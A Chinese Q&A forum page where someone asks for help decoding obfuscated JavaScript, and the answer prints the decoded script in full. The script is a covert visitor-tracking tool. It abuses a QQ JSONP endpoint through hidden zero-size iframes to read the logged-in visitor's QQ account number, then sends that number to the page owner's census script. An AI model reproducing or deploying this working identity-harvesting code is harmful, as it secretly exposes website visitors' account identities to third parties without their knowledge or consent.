求大神帮解密这段代码

Question

javascript

Answer 1

很是无聊解这种加密。var isIE = document.all ? true : false;
var ie = document.all ? true : false;
var isIE = !!window.ActiveXObject;
function loadJS(jsurl, onsuccess, charset, onerr) {
    var xScript = document.createElement("script");
    xScript.type = "text/javascript";
    if (charset == '') {
        xScript.charset = "utf-8"
    } else {
        xScript.charset = charset
    }
    xScript.src = jsurl;
    xScript.onerror = function () {
        if (onerr) {
            setTimeout(onerr, 10)
        }
    };
    if (ie) {
        xScript.onreadystatechange = function () {
            if (xScript.readyState) {
                if (xScript.readyState == "loaded" || xScript.readyState == "complete") {
                    xScript.onreadystatechange = null;
                    xScript.onload = null;
                    if (onsuccess) {
                        setTimeout(onsuccess, 10)
                    }
                }
            } else {
                xScript.onreadystatechange = null;
                xScript.onload = null;
                if (onsuccess) {
                    setTimeout(onsuccess, 10)
                }
            }
        }
    } else {
        xScript.onload = function () {
            if (xScript.readyState) {
                if (xScript.readyState == "loaded" || xScript.readyState == "complete") {
                    xScript.onreadystatechange = null;
                    xScript.onload = null;
                    if (onsuccess) {
                        setTimeout(onsuccess, 10)
                    }
                }
            } else {
                xScript.onreadystatechange = null;
                xScript.onload = null;
                if (onsuccess) {
                    setTimeout(onsuccess, 10)
                }
            }
        }
    }
    document.getElementsByTagName('HEAD').item(0).appendChild(xScript)
}
function fangkenoLogin() {
    loadJS("http://apps.qq.com/app/yx/cgi-bin/show_fel?hc=8&lc=4&d=365633133&t=" + (new Date).getTime(), checkLoginCB)
}
function checkLoginCB() {
    try {
        if (data0.err == 1026) {
            setTimeout(abcc, 100)
        } else {
            setTimeout(fangkenoLogin, 5000)
        }
    } catch (e) {
        setTimeout(fangkenoLogin, 5000)
    }
}
function abcc() {
    window.img = "<script>function x(c){parent.scn_sendInfo(c);}<\/script><script id='img' src='http://zf.huanle.qq.com/cgi-bin/hlddz_box/hlddz_open_box?callback=x'><\/script>";
    var frameid = "frameImg" + Math.random();
    var o_v_stat_iframe = document.createElement("iframe");
    o_v_stat_iframe.src = "javascript:parent.img;";
    o_v_stat_iframe.id = frameid;
    o_v_stat_iframe.scrolling = "no";
    o_v_stat_iframe.setAttribute("frameborder", "0", 0);
    o_v_stat_iframe.style.width = "0px";
    o_v_stat_iframe.style.height = "0px";
    document.body.appendChild(o_v_stat_iframe)
}
function scn_sendInfo(c) {
    try {
        var a = c;
        xx1 = a.uin;
        xx2 = 'Null';
        setTimeout(xxx_third, 1)
    } catch (e) {
    }
}
function xxx_third() {
    var xurl = location.href;
    var xurl = xurl.replace("T-census.php", "C-census.php");
    var iframe = document.createElement("iframe");
    iframe.src = xurl + "&xx1=" + xx1 + "&xx2=" + xx2;
    iframe.id = "QQfangke_iframe_two";
    iframe.name = "QQfangke_iframe_two";
    iframe.style.width = "0px";
    iframe.style.height = "0px";
    iframe.scrolling = "no";
    iframe.setAttribute('frameborder', '0', 0);
    document.body.appendChild(iframe)
}
fangkenoLogin();